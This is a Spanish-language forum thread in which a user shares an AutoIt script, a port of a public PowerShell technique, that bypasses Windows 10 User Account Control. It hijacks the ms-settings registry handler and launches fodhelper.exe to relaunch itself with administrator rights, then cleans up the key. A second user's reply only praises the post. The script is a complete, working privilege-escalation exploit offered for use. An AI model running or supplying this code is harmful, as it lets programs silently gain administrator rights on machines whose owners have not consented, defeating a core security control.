• Fuentes

 #491862  por Blau
 
Hola, os traigo este sencillo script para bypassear la UAC de Windows 10 tal como se explica en esta entrada. Es una simple traducción del código que proporciona el autor en powershell.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author:         Blau

 Script Function:
	This script is an AutoIt implementation of https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

#ce ----------------------------------------------------------------------------

#NoTrayIcon
#AutoIt3Wrapper_UseX64=Y

If (IsAdmin())  Then
	MsgBox(0, "", "I'm admin :)")
Else
	If(OSVersion() == "WIN_10") Then
		Local $sPath = @ScriptFullPath
		If Not (@Compiled) Then $sPath = '"' & @AutoItExe & '" "' & @ScriptFullPath & '"'
		RegWrite("HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command", "DelegateExecute")
		RegWrite("HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command", "", "REG_SZ", $sPath)
		ShellExecuteWait(@SystemDir & "\fodhelper.exe")
		RegDelete("HKEY_CURRENT_USER\Software\Classes\ms-settings")
	EndIf
EndIf

;~ https://www.autoitscript.com/forum/topic/182845-osversion-for-windows-10/?do=findComment&comment=1313190
Func OSVersion()
    Local $OSVersion = @OSVersion
	If StringRegExp(FileGetVersion('winver.exe'), "^10\.\d") Then $OSVersion = "WIN_10"
    Return $OSVersion
EndFunc   ;==>OSVersion
 #491863  por Scorpio
 
Impecable como siempre compañero, sigue así.

//Regards.